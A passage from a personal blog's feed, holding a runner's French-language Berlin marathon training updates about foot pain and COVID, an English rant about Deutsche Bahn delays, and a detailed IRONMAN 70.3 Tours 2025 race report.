&lt;p&gt;Quant à mon pied gauche la douleur est toujours là, pendant les runs elle varie entre 0 et 2 en général, parfois jusqu'à 3, jamais plus. Elle a tendance à diminuer à 1 voire 0 en fin de séance. Je continue la prépa jusqu'au bout maintenant, c'est totalement supportable. Surtout que la motivation revient !!! La semaine dernière j'ai couru 70 kms, un record depuis Mars. Cette semaine, je vais tenter de faire autour de 70 aussi, peut-être plus ? 80 ? On verra. Niveau progressivité, on repassera, je suis globalement passé de 30 à 70 km d'une semaine à l'autre 🙈. Oops. J'ai repris les séances à intensité aussi. Bref, on est reparti ! Plus que trois semaines et demi avant le marathon !&lt;/p&gt;
&lt;p&gt;J'ai coupé le vélo depuis la semaine dernière. Full focus sur la course à pied, rien d'autre.&lt;/p&gt;
&lt;h1 id="update-samedi-30-aout-2025"&gt;Update Samedi 30 Août 2025&lt;/h1&gt;
&lt;p&gt;Que serait une prépa marathon sans un COVID ? Bingo, malade depuis hier. Full package : fièvre, courbatures, fatigue, nez pris... Génial ! Ça m'a fait louper ma séance VMA de la semaine... pas sûr que je puisse faire la sortie longue de demain non plus, on verra.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Test covid" src="https://romainpellerin.eu/images/marathon-berlin-2025-covid.jpg"&gt;&lt;/p&gt;
&lt;h1 id="update-mardi-2-septembre-2025"&gt;Update Mardi 2 Septembre 2025&lt;/h1&gt;
&lt;p&gt;Bon hier, dernier jour de fièvre. Aujourd'hui plus rien, j'ai repris le boulot. Hier soir, tétu j'ai voulu aller courir. Je voulais faire 2 blocs de 2500m chacun à allure marathon, j'ai pu passer qu'un bloc de 2000m. Le coeur montait bien trop haut (au delà de 180) alors que je devrais être à 170 voire 175 grand max. En tout j'ai couru 20 kms. J'étais bien KO hier soir mais aujourd'hui je pense avoir bien récupéré. Et ne plus avoir de fièvre, c'est un grand pas en avant !&lt;/p&gt;
&lt;p&gt;En regardant en arrière, sur ces 3 derniers mois, ça aura été une sacrée prépa marathon de merde.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Semaine du 23 juin : je marche sur un énorme morceau de verre dans la rue. Bien sûr ce jour-là je portais des chaussures minimalistes avec une semelle hyper fine. Bim je transperce la semelle ET le pied droit, ça pisse le sang. Résultat ? Un paracétamol le soir pour s'endormir, le lendemain passé à bien douiller et surtout une semaine entière sans course à pied.&lt;/li&gt;
&lt;li&gt;Je reprends tranquillement et progressivement la semaine suivante, en Juillet donc. Le pied est toujours douleureux, je dois être hyper progressif. Pas de fractionné. Mon test VMA (demi-Cooper) effectué le 6 Juillet est pourri, je fais pire que mes 2 précédents tests.&lt;/li&gt;
&lt;li&gt;Au fil du mois de Juillet, ma douleur dans le pied gauche revient graduellement, chaque sortie un peu plus forte. Un douleur que je me traîne depuis Mars ou Avril. Je remets la course à pied en pause du 15 (inclus) au 26 Juillet (inclus). Je reprends le 27 par un 18 kms (LOL!).&lt;/li&gt;
&lt;li&gt;Le 31 Juillet, apparition du syndrome de l'essui glace ! Il ne me quittera pas pendant plus de 2 semaines. Dernière vraie douleur le 18, puis plus rien.&lt;/li&gt;
&lt;li&gt;Tout le mois d'Août n'aura été finalement qu'une remise en charge progressive. Le 20 Août, je réussis pour la première fois depuis plus d'une mois une séance à 100%, telle que prévue par Kiprun Pacer. La douleur au pied gauche est stabilisée, elle ne dépasse jamais 2 ou 3 sur 10 à chaque début de run et stagne généralement autour de 1/10 pendant le reste du run. Je sens que ça s'améliore bien vers la fin Août, notamment le matin lors des premiers pas, la douleur est de moins en moins présente.&lt;/li&gt;
&lt;li&gt;Bref, tout commençait enfin à aller mieux... jusqu'à vendredi dernier, 29 Août, où les premiers symptômes du COVID sont apparus, confirmés par un test le lendemain. Samedi et dimanche fiévreux, hier lundi une bonne partie de la journée. Aujourd'hui, back to 100% ? Plus que 2 semaines et demi avant le jour J... Je m'en rappellerai de cette prépa. 😄&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="update-mardi-10-septembre-2025"&gt;Update Mardi 10 Septembre 2025&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/berlin-marathon-2025-90km.png" alt="Screenshot of Strava" /&gt;
&lt;figcaption&gt;Semaine dernière (S-2) - 1 au 7 Septembre&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Enfin guéri du COVID. J'ai pu aller courir 32 kms il y a 2 jours, et conclure une semaine à 90 kms ! L'autre bonne nouvelle, c'est que ma douleur au pied est aussi presque 100% guérie, disons à 95%. Depuis une semaine, la plupart des séances commencent avec une douleur à 1/10 et au bout de 2 ou 3 kms chutent à 0. Pareil le matin au lever, zéro douleur ! Il faut croire que continuer à courir sur une douleur ne dépassant pas 3/10, le plus souvent possible, était la bonne stratégie. J'ai fait close to zéro renforcement pour cette douleur, 5 fois maximum en l'espace de 4 mois. Pareil pour mon syndrome de l'essuis glace, un seul renfo spécifique qui je pense n'a servi à rien. C'est passé tout seul.&lt;/p&gt;
&lt;p&gt;La mauvaise nouvelle c'est que le COVID mais aussi ma prépa marathon à moitié faite font que je ne suis pas du tout habitué à mon pace objectif de 4'20"/km. Il y a 3 mois je visais 4'10", début Juillet avec la blessure au pied qui revenait de plus belle, j'avais abaissé à 4'20". Aujourd'hui, je ne suis pas sûr du tout de tenir ça sur 42kms. Le cardio monte trop vite à 180 à cette allure là, au bout de 2 kms. Alors que normalement 180 c'est plutôt en milieu/fin de marathon. Le COVID n'aide pas, j'ai lu sur internet que plusieurs semaines après la maladie, les effets sur le rythme cardiaque peuvent être ressentis. Ma Garmin me donne une valeur de VO2 Max à 57 depuis 2 semaines, alors que depuis des mois j'avais 58, et même 59 fin Mai/début Juin, avant l'IRONMAN 70.3 Mais cette chute à 57 ça coincide avec l'arrêt du vélo de route, il y a 2 semaines.&lt;/p&gt;
&lt;p&gt;Il faut dire aussi qu'avec les mois de Juillet et Août en dents de scie niveau course à pied, à cause de ma douleur au pied gauche, j'ai très peu bossé cette allure de 4'20"/km. Je compte donc aujourd'hui faire le premier semi à cette allure le jour de la course, je suis presque sûr de pouvoir le tenir, et ensuite advienne que pourra. Ça me ferait chier de finir ce marathon sans aucun PR. Je doute de pouvoir PR sur mon temps au marathon, alors autant PR sur le semi ! Qui sait ? Peut-être qu'avec la température plus fraîche le matin de la course (on annonce sous les 15 degrés) et les 10 jours d'entrainement/affûtage restant, un miracle peut arriver ! D'ailleurs oui, je ne vais faire qu'une semaine d'affûtage au lieu de deux, vu le faible volume kilométrique des dernières semaines.&lt;/p&gt;
&lt;p&gt;Dernière ligne droite ! 🚀&lt;/p&gt;</content><category term="Running"></category><category term="running"></category><category term="blessure"></category></entry><entry><title>Living in Germany: Die Deutsche Bahn</title><link href="https://romainpellerin.eu/living-in-germany-die-deutsche-bahn.html" rel="alternate"></link><published>2025-08-05T00:00:00+02:00</published><updated>2025-08-05T00:00:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-08-05:/living-in-germany-die-deutsche-bahn.html</id><summary type="html">&lt;p&gt;Foreigners think germans are punctual... they mostly are, except Die Deutsche Bahn&lt;/p&gt;</summary><content type="html">&lt;p&gt;Just needed to rant a bit about the Deutsche Bahn,the national railway company of Germany. Most foreigners (people not living in Germany or moving to Germany from elsewhere) usually believe that trains in Germany run on time, are never disrupted nor canceled, just like in Switzerland. This could not be further from the truth. I love trains. I love german trains, their long-distances ones (ICE) and their regional ones. But damn they suck at punctuality and getting people to where they need to go.&lt;/p&gt;
&lt;p&gt;They've just reached a record low. &lt;a href="https://ibir.deutschebahn.com/2024/en/combined-management-report/product-quality-and-digitalization/the-customer-is-at-the-center-of-our-actions/punctuality/"&gt;In 2024&lt;/a&gt;, only 62.5% of their long-distance trains reached their destination "on time" (with a delay of less than six minutes). &lt;a href="https://brusselssignal.eu/2025/05/fed-up-with-delays-switzerland-severs-two-train-links-with-germany/#:~:text=Since%20April%2029%2C%20the%20EC7,now%20have%20to%20change%20trains."&gt;In 2025&lt;/a&gt;, Switzerland started replacing &lt;a href="https://www.railway.supply/en/sbb-cuts-german-train-routes-due-to-delays-at-db/"&gt;some segments of cross-border journeys&lt;/a&gt; with their own SBB trains, to prevent chronic delays. They also have a policy of preventing Deutsche Bahn trains from entering the country if they are running too late.&lt;/p&gt;
&lt;p&gt;And of course I got to experience this recently. Twice. I was going from Berlin to Basel and back.&lt;/p&gt;
&lt;p&gt;On the way in, the train simply never reached Switzerland. The Basel stops (the last two stops) were canceled. Simply removed. We were told so about two hours before reaching our destination. Easily explained looking at how late the train was...&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/db-late.png" alt="A screenshot of the DB Navigator app" /&gt;
&lt;figcaption&gt;My pleasant trip: 92-minute late, destination canceled. LOL&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;And on the way back, only Basel SBB was canceled last minute, like an hour before boarding. Luckily I was able to get on the train at Basel Bad Bf.&lt;/p&gt;
&lt;p&gt;It cannot get any worse, can it?&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="train"></category><category term="deutsche bahn"></category></entry><entry><title>IRONMAN 70.3 Tours 2025</title><link href="https://romainpellerin.eu/ironman-70-3-tours-2025.html" rel="alternate"></link><published>2025-06-11T00:36:00+02:00</published><updated>2025-06-13T00:54:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-06-11:/ironman-70-3-tours-2025.html</id><summary type="html">&lt;p&gt;I just crossed the finish line of my first ever IRONMAN 70.3, what a race!&lt;/p&gt;</summary><content type="html">&lt;h1 id="training"&gt;Training&lt;/h1&gt;
&lt;p&gt;On April 13, 2025, I took part in &lt;a href="https://romainpellerin.eu/marathon-de-paris-2025-race-report.html"&gt;the Paris Marathon&lt;/a&gt;. My first IRONMAN 70.3 was scheduled for exactly seven weeks later, which left very little time for specific training. The Paris Marathon was my main objective for the first half of 2025. So, in December of last year, I laid out a plan as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full focus on marathon training: a 13-week training plan starting in January, with five runs a week.&lt;/li&gt;
&lt;li&gt;In addition, one mandatory swim per week of at least 1,000 meters. I don't have a coach, I'm not in a triathlon club, and I didn't want to do specific drills — just plain swimming to try to improve my endurance.&lt;/li&gt;
&lt;li&gt;Every Monday: gym. Weight lifting, focusing on pecs, arms, and legs. To look good, of course, but also to help with swimming and running.&lt;/li&gt;
&lt;li&gt;One optional bike ride on the weekend if the weather was good enough. I also bought a home trainer in the middle of winter to complement my training.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I paused swimming for the last two weeks before the marathon.&lt;/p&gt;
&lt;p&gt;Then, after the marathon, I took a full week off from all sports and then started training specifically for this IRONMAN 70.3.&lt;/p&gt;
&lt;p&gt;Having developed a sore left foot after the marathon (it's still sore today as I'm writing this article!), I lightened my running training from five to two or three runs a week. The pain isn't too bad: 1/10 when walking, 4/10 at the beginning of any run, then it drops to 1/10. But it's still annoying, and I didn't want to make it worse.&lt;/p&gt;
&lt;p&gt;I resumed swimming once a week, increasing to two or three times a week in the last three weeks before the race.&lt;/p&gt;
&lt;p&gt;Cycling-wise, we went to Bavaria for a full week at the beginning of May to train and focus specifically on cycling. The rest of the time, I continued commuting with my bike, of course, and went for the occasional weekend ride. All in all, in May, including commute rides, I cycled more than 1,000 km.&lt;/p&gt;
&lt;h1 id="gear"&gt;Gear&lt;/h1&gt;
&lt;p&gt;The most stressful part of triathlons is the logistics and gear, if you ask me. &lt;a href="https://romainpellerin.eu/triathlon-checklist.html"&gt;One needs so many different things&lt;/a&gt;, especially for the cycling leg. I didn't want to wait until the last minute, so early in the year, I started buying everything I would need, week after week.&lt;/p&gt;
&lt;p&gt;In March, after weeks of weighing the pros and cons, I finally settled on buying a tri-bike. Then it took me multiple tries to adjust and fit it correctly until &lt;a href="https://romainpellerin.eu/training-for-triathlons.html"&gt;I could finally start training with it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Even finding the right &lt;a href="https://www.etsy.com/de/listing/1479204041/adapter-fur-flaschenhalter-sattelstutze"&gt;rear-mounted bottle holder&lt;/a&gt; was a challenge.&lt;/p&gt;
&lt;p&gt;Two weeks before the race, I accidentally crushed a Di2 cable inside one of my aerobars because I swapped two screws of different lengths. Fortunately, my local bike shop was able to replace it in no time. Stressful!&lt;/p&gt;
&lt;p&gt;Finally, I also traded my Decathlon trisuit for a new one from Z3R0D. I love it!&lt;/p&gt;
&lt;h1 id="travels"&gt;Travels&lt;/h1&gt;
&lt;p&gt;Logistics. My nightmare. How to travel from Berlin to Tours, two cities more than 1,000 km apart. We settled on a combination of trains and a rental car.&lt;/p&gt;
&lt;p&gt;We made it a point not to disassemble our bikes for train travel because 1) Deutsche Bahn staff can deny boarding if luggage is deemed too large, and 2) it's hard to cram disassembled bikes into luggage racks without damaging them. Hence our choice for the train whenever possible, and a rental car when keeping the bikes in one piece was no longer an option.&lt;/p&gt;
&lt;p&gt;Germany's and France's fast trains (ICE and TGV, respectively) usually have a few spots for bikes. By the time we booked everything, there were still spots on a train from Berlin to Mannheim. But unfortunately, all the TGVs had no more bike spots. And timewise, it wasn't going to work.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/train-bikes.jpg" alt="Photo of our bikes on the train" /&gt;
&lt;figcaption&gt;Our bikes on the train&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;So on Wednesday, May 28th, we set out. We took an ICE from Berlin to Mannheim. After Mannheim, two regional trains took us to Saarbrücken, where we rented a car.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/frankenstein.jpg" alt="Sign of the Frankenstein train stop" /&gt;
&lt;figcaption&gt;Where the f*ck are we?&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/train-bikes2.jpg" alt="Photo of our bikes on the train" /&gt;
&lt;figcaption&gt;Our bikes on the train&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;At the end of this very long day, we spent the night in Paris. The next day, we drove three hours to Tours.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/rental-car.jpg" alt="Our rental car" /&gt;
&lt;figcaption&gt;Bikes in the trunk of our rental car&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Also, side note: we rented a Polestar 2 and we absolutely loved it. It has a pretty good range, even when driving at 130 km/h. And the fast-charging stations on the freeway are truly fast, despite being quite pricey (59 cents per kWh in France, even more expensive in Germany). We never drained the battery below 20% and wouldn't charge it past 80%. Going from 20% to 80% usually took 30 to 35 minutes using the most powerful charging stations (300 kW), even if the car was unable to draw more than ~100 kW.&lt;/p&gt;
&lt;h1 id="race-weekend"&gt;Race weekend&lt;/h1&gt;
&lt;p&gt;Finally, the race weekend arrived. The culmination of many months of training since signing up in August of last year.&lt;/p&gt;
&lt;p&gt;We arrived at &lt;a href="https://www.olela.fr/campings/camping-mignardiere"&gt;the campsite&lt;/a&gt; in the late afternoon, about 9 km from where the race would start. Our friends arrived at the same time. We checked in and did basically nothing that evening.&lt;/p&gt;
&lt;h2 id="friday"&gt;Friday&lt;/h2&gt;
&lt;p&gt;The next day, we went to the Expo in the morning to collect our bib numbers and transition bags. The place was HUGE. It was located at the Exhibition Center. We checked out the merch, got our bib numbers, took a bunch of photos, and went back home. In the afternoon: full-body shave! Afterward, we did a "small" recon of the bike route, 70 km of the 87 km. The weather that weekend was abnormally hot and dry: 32 degrees Celsius. Damn hot. That recon ride did not go unnoticed.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/welcome-to-tours.jpg" alt="Photo of us four" /&gt;
&lt;figcaption&gt;Us at the Expo on Friday&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/photo-shoot.jpg" alt="Photo of us four" /&gt;
&lt;figcaption&gt;Confidence at its peak&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="saturday"&gt;Saturday&lt;/h2&gt;
&lt;p&gt;On Saturday, things got real.&lt;/p&gt;
&lt;h3 id="briefing"&gt;Briefing&lt;/h3&gt;
&lt;p&gt;At 10:15 a.m., we showed up again at the Expo for the briefing. It was a 30-minute session where we all sat in tiered seats in the stands and were shown a slide deck presented by &lt;a href="https://www.instagram.com/jaystylemusic"&gt;Jay Style&lt;/a&gt;. After that, we went home again, only to come back a few hours later.&lt;/p&gt;
&lt;p&gt;After an early lunch, we all started packing our transition bags very carefully so as not to forget anything. We also prepared our water bottles for the bike leg. A couple of checks on the bikes. Then we loaded them into the car and off we went, back to the Expo.&lt;/p&gt;
&lt;h3 id="bike-drop-off"&gt;Bike drop-off&lt;/h3&gt;
&lt;p&gt;I was a bit anxious about leaving the bike in this massive building. Not because I was worried it might get stolen (almost all the other bikes were more expensive than mine 😂), but because 1) I was afraid I might have forgotten something, and 2) I was worried about the tires, picturing finding the bike with a puncture the next day. The usual piece of advice is to slightly deflate the tires for the night and inflate them again just before the race. I left mine untouched.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/bike-park.jpg" alt="Photo of the bike park" /&gt;
&lt;figcaption&gt;The bike park&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 id="transition-bags-drop-off"&gt;Transition bags drop-off&lt;/h3&gt;
&lt;p&gt;I was even more stressed about forgetting something for my transition bags. I must have checked my checklist 10 times before leaving the campsite 😅. But the good news was that we would be allowed to access our transition bags again the next day before the race.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/transition-bags.jpg" alt="Photo of the transition area" /&gt;
&lt;figcaption&gt;Transition area&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/transition-bags2.jpg" alt="Photo of the transition bags" /&gt;
&lt;figcaption&gt;Transition bags&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;After leaving my bags, I realized I had forgotten to leave my triathlon belt and bib number in the blue one (the one for the bike leg). We had been asked to wear it to be granted entry into the transition area. I simply forgot to take it off, so I went back a few minutes later to drop it off for real this time. LOL.&lt;/p&gt;
&lt;h3 id="bedtime"&gt;Bedtime&lt;/h3&gt;
&lt;p&gt;7:00 p.m.: dinner time. Then, a few final checks. Swim goggles? Check. Swim caps? Check. Wetsuit? Check. Again, I must have checked my checklist 10 times, just to convince myself that I was 100% ready.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/things-ready.jpg" alt="Photo of my stuff ready for the next day" /&gt;
&lt;figcaption&gt;Pile of things to put on first thing in the morning&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/water-bottles.jpg" alt="Photo of water bottles" /&gt;
&lt;figcaption&gt;Hydration: ready&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Unfortunately, that night, there was a big football game: the UEFA Champions League final. The campsite was a bit loud between 9:00 p.m. and 11:00 p.m.&lt;/p&gt;
&lt;p&gt;We got into bed around 9:45 p.m. The alarm was set for 5:05 a.m. It was strange trying to fall asleep while it was still bright outside. With the help of a sleeping mask and earplugs, I think I fell asleep around 11:00 p.m.&lt;/p&gt;
&lt;p&gt;I woke up about an hour and a half later, feeling fine and wide awake, ready to go. I thought it was time to get up already. I checked the time and realized how early it was. I managed to fall asleep again soon after, until around 4:30 a.m.&lt;/p&gt;
&lt;h2 id="sunday-race-day"&gt;Sunday: RACE DAY&lt;/h2&gt;
&lt;p&gt;Between 4:30 and 5:00 a.m., I was half-asleep and half-awake. Ultimately, I got up just before my alarm clock went off, feeling a bit tired but surprisingly not exhausted. I was READY!&lt;/p&gt;
&lt;h3 id="pre-race"&gt;Pre-race&lt;/h3&gt;
&lt;p&gt;I had my usual pre-race breakfast: muesli with soy milk, &lt;a href="https://en.overstims.com/energy-cakes/gatosport"&gt;Gatosport&lt;/a&gt;, and a banana.&lt;/p&gt;
&lt;p&gt;One last toilet stop. We left around 5:45 a.m. Traffic jams and road closures were to be expected. We played it smart. We used an alternative toll road; it was slightly longer, but we got there without any traffic. We only had to wait a bit to enter the parking lot, as a queue of cars had formed. We were out of the car by 6:15 a.m.&lt;/p&gt;
&lt;p&gt;We rushed toward the bike park. I found a bike pump, topped up my tires with some air, placed my food and water bottles on my bike, and then headed for the transition bags. There, I left my bike computer in my blue bag and my gels in my red bag. The transition area was meant to close at 6:50 a.m. We weren't in a hurry. We decided to take it easy and avoid any stress, since we had pretty much nothing left to do. I think we left the transition area at 6:48 a.m., but there were still a lot of people inside. I doubt they shut it down on time.&lt;/p&gt;
&lt;h3 id="swim"&gt;Swim&lt;/h3&gt;
&lt;p&gt;The queue to get into the water was massive. First, we dropped off our white bags (streetwear), put our wetsuits on, and got in line. There were corrals based on estimated swim times. The faster swimmers started before the slower ones. I got in the 40-45 min corral. I didn't get to the starting line until 7:50 a.m.&lt;/p&gt;
&lt;p&gt;I had a nice surprise minutes before getting into the water. The announcer started calling out our names. Not only had my mom and one of my sisters shown up on time, but they had also positioned themselves meters from the starting line and managed to draw the announcer's attention. We posed for a photo and that was it: we were NEXT IN LINE for the start.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/swim.jpg" alt="Photo of me getting into the water" /&gt;
&lt;figcaption&gt;The very first seconds of my race&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The swim went surprisingly well. I found a good rhythm and got into "my flow". I managed to swim freestyle the WHOLE time. Not a single second of breaststroke. The water was pretty warm (warmer than 20 degrees) and tasteless (yep, I drank much more river water than I would have liked 😆).&lt;/p&gt;
&lt;p&gt;After the first half, I started thinking about calf cramps. I had had a few in the past during training. I managed to hold them off. At some point, I felt one coming on in the right calf, so I paused for 3 seconds in the water and stretched my calf with my hands. All good. False alarm.&lt;/p&gt;
&lt;p&gt;Finally, the last buoy. Final push... I could see the shore... I tried to reach for the ground, nope, not yet, one last stroke... and CRAMP!!!! 🚨 A cramp in the left calf on the very last stroke, just before getting out of the water. FUCK! The whole time I was expecting a cramp in the right calf, since I had had a few cramps there in the last few weeks. But it was all right; I could reach the ground at that point. I walked out of the water. The cramp went away after two or three steps.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/swim2.jpg" alt="Photo of me coming out of the water" /&gt;
&lt;figcaption&gt;Coming out of the water. I am on the right-hand side, in case you had any doubt.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;My family was there again. That put a big smile on my face and gave me the courage for the rest of the race.&lt;/p&gt;
&lt;p&gt;It took me 43 minutes and 36 seconds to complete the 1.9 km swim.&lt;/p&gt;
&lt;h3 id="t1"&gt;T1&lt;/h3&gt;
&lt;p&gt;All right, time to run to the bike. I started to pull my wetsuit down. As I was running, I realized I needed to pee. Yeah, I drank too much river water. I saw two options: go to a porta-potty or... wet myself. I was already wet from the river. A friend had told me she had done that in a race before... I went for option 2.&lt;/p&gt;
&lt;p&gt;Taking the wetsuit off took me forever. Afterward, I realized my aero calf sleeves had slipped down to my ankles while taking off my wetsuit. I had to pull them back up over my calves. I lost a solid 30 seconds there for sure. I will not wear these ever again. Pretty useless. Shaving is nearly as good.&lt;/p&gt;
&lt;p&gt;T1 was 9 minutes and 17 seconds long. There is definitely room for improvement!&lt;/p&gt;
&lt;h3 id="bike"&gt;Bike&lt;/h3&gt;
&lt;p&gt;I already knew 70 km of the 87 km bike leg.&lt;/p&gt;
&lt;p&gt;The route was beautiful! Closed to cars almost everywhere except in the last 5 km or so. I truly loved it.&lt;/p&gt;
&lt;p&gt;The "no-drafting" rule was not strictly followed or enforced on the bike leg. I only saw two or three race referees on motorbikes. Since I am a fairly bad swimmer, I came out of the water with the "average" cyclists. As a result, I spent the whole bike leg overtaking people. I don't remember being overtaken once.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/bike.jpg" alt="Photo of me on the bike" /&gt;
&lt;figcaption&gt;Posing, as always&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;My initial plan was to consume 90 grams of carbs per hour for 2 hours and 30 minutes (my estimated bike time). I wasn't planning on grabbing any bottles or food from aid stations. But when filling my bottles the day before, for some reason I decided to put a lot more than that in them. Because, you know, why not? In the end, this is what I was carrying on my bike:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2x 950 ml bottles of water with energy powder in each. One with a Maurten Drink Mix 320 and some other powdered mix from Decathlon. The other bottle with only the Decathlon mix. But each bottle had much more than one portion of powder... much more.&lt;/li&gt;
&lt;li&gt;1x small bottle with only water&lt;/li&gt;
&lt;li&gt;2x Maurten 100 gels + 1 energy bar&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Needless to say, this was WAY beyond the 90 * 2.5 grams of carbs I needed.&lt;/p&gt;
&lt;p&gt;At some point during the first half of the ride, I lost my rear-mounted bottle of plain water. I knew it wasn't speed-bump-proof. Up until that one speed bump, we had gone over multiple others. Every time, the bottle had slipped a little, but I had always been able to put it back in the holder. Except for that one time.&lt;/p&gt;
&lt;p&gt;I heard a big crashing sound behind me.&lt;/p&gt;
&lt;p&gt;I guess I rode over that speed bump too fast and too harshly. I quickly glanced back, saw it, and for a split second thought, "Fuck it, let's keep riding." But then I realized someone might have seen me, and I could risk disqualification. So I decided to stop and go back to pick it up. Fortunately, a volunteer saw it, ran toward the bottle, picked it up, and brought it to me as I was walking back clumsily with my bike between my legs. The bottle had burst open, with only a sip of water left inside. With hindsight, I should never have stopped for it and should have carried on. All in all, I lost at least 30 seconds picking it up.&lt;/p&gt;
&lt;p&gt;Another lesson from that event: always carry plain water behind the saddle, not an energy drink, in case you lose it, so as not to put your nutrition strategy at risk.&lt;/p&gt;
&lt;p&gt;Anyway, I was back in the game. Full focus. Later on, I grabbed a bottle of water at an aid station.&lt;/p&gt;
&lt;p&gt;I think I spent something like 70% of the ride on the aerobars and the rest on the handlebars for comfort.&lt;/p&gt;
&lt;p&gt;I started feeling hungry at some point on the bike. I guess my breakfast was too light and also too early. We ate at 5:15 a.m. and started swimming at 7:50 a.m. So I thought I might as well eat a lot on the bike since it's much easier than eating while running. But what I thought would be a good idea turned out to be a pretty shit idea later. Throughout the whole bike leg, I drank close to 3 liters and ate way too much. I clearly exceeded the 90 grams of carbs per hour that I was initially aiming for. I knew I was carrying too many carbs in my water bottles, but I still decided to drink it all before the run leg.&lt;/p&gt;
&lt;p&gt;I saw my family once again in one of the last turns before the bike park. I then remembered too late that I had to take my feet out of my shoes to dismount the bike smoothly while leaving the shoes on the pedals. I tried to do it at the last minute in a hurry, but I was only able to get my feet out and put them on top of the shoes. I got too close to the dismount line to do it gracefully while riding. I had to come to a full stop and then get off. Fair enough.&lt;/p&gt;
&lt;p&gt;It took me 2 hours, 22 minutes, and 41 seconds to complete the 87 km bike ride.&lt;/p&gt;
&lt;h3 id="t2"&gt;T2&lt;/h3&gt;
&lt;p&gt;That second transition was mostly good. After dropping off my bike, I quickly took a piss in a porta-potty and proceeded to the transition area. In the rush, I forgot to take off my fingerless gloves. I realized this later while running and had to put them away in my trisuit pockets.&lt;/p&gt;
&lt;p&gt;T2 was 4 minutes and 45 seconds long. I could probably have shaved off 30 seconds if I hadn't had to go pee.&lt;/p&gt;
&lt;h3 id="run"&gt;Run&lt;/h3&gt;
&lt;p&gt;The run started off really badly. In the first few hundred meters, I realized that my belly was WAY TOO FULL. Bloated. That's when I realized how badly I had messed up my nutrition on the bike. I thought it would get better over time, but it didn't. With every kilometer, I got slower and slower. I knew I wouldn't be able to eat anything during the run.&lt;/p&gt;
&lt;p&gt;Five or six kilometers later, I had reached a point of no return. I could not hold it any longer. It was painful, and I was slowing down too much. A pit stop was needed. I spotted a porta-potty at an aid station at km 6.5 and stopped for a number two. For THREE. MINUTES. Why so long, you may wonder? Because I was drenched in sweat. It was crazy hot (24 degrees Celsius). Taking off the top of a trisuit when you're sweaty takes forever. Like a minute! Same goes for putting it back on. I should have done that while running, not in the porta-potty.&lt;/p&gt;
&lt;p&gt;After that, the rest of the run was great. I felt new again. Reborn. Fast again!&lt;/p&gt;
&lt;p&gt;The route was super nice. Two loops that went through an island that is actually a park and along riverbanks. Away from the streets. The two loops started and finished in the exhibition center, giving spectators a chance to see us multiple times: at the start of the run, halfway through, and at the finish line. Which is exactly what my family did.&lt;/p&gt;
&lt;p&gt;In the second half of the run, I noticed how tight my elastic laces were, especially on the left foot. I started feeling some pain growing. It remained manageable until the end, but I will be sure to loosen them next time.&lt;/p&gt;
&lt;p&gt;I should have looked at the total time on my watch during the run. If I had seen that I was less than a minute away from a sub-5-hour time, I would have definitely been able to run faster. But overall, I am very happy with my run! I grabbed water at almost every aid station because of the heat, but I didn't eat anything despite carrying four gels in my back pockets.&lt;/p&gt;
&lt;p&gt;Crossing the finish line was a blast! The IRONMAN 70.3 Tours is the only one in the world with an indoor finish line. That was spectacular. The crowd was gathered in the stands. Music was blasting, lights everywhere. A true show!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ironman-70-3-tours-2025/results.jpg" alt="Me running with my race results overlaid" /&gt;
